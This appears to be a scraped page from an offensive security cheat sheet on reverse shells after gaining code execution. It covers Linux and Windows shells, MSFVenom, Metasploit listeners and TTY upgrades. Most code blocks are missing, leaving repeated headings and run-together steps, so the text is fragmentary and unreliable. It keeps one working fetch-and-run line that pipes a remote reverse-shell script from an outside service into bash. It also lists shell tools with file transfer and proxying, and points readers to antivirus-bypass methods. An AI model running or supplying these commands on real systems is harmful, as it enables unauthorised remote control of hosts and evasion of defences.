Overview
Once you have code execution on a target, a reverse shell gives you an interactive command prompt. This page covers techniques for Linux, Windows, MSFVenom, and upgrading limited shells to full TTYs.Linux Shells
Bash
Bash
Python
Python
Netcat
Netcat
Perl
Perl
PHP
PHP
Ruby
Ruby
Windows Shells
PowerShell
PowerShell
Netcat (Windows)
Netcat (Windows)
Python (Windows)
Python (Windows)
MSFVenom Payloads
Metasploit Listener
Upgrading to a Full TTY
Limited shells (no tab completion, no Ctrl+C, no interactive programs) can be upgraded:1
Spawn a PTY with Python
2
Background the Shell
Press
Ctrl+Z to background the netcat process.3
Configure Your Terminal
4
Set Terminal Variables
socat for a full TTY directly:
Auto-Generated Shell Resources
revshells.com
Web-based generator for all common reverse shell one-liners with encoding options.
reverse-shell.sh
Simple URL-based shell generator:
curl reverse-shell.sh/10.0.0.1:4444 | bashshellerator
CLI tool generating bind and reverse shells for multiple languages.
xc
Full-featured reverse shell with file transfer, port forwarding, and SOCKS proxy built-in.
On Windows you may need AV bypass techniques to prevent your shell payload from being detected. Check the Windows AV Bypass page for methods including encoding, encryption, and custom shellcode loaders.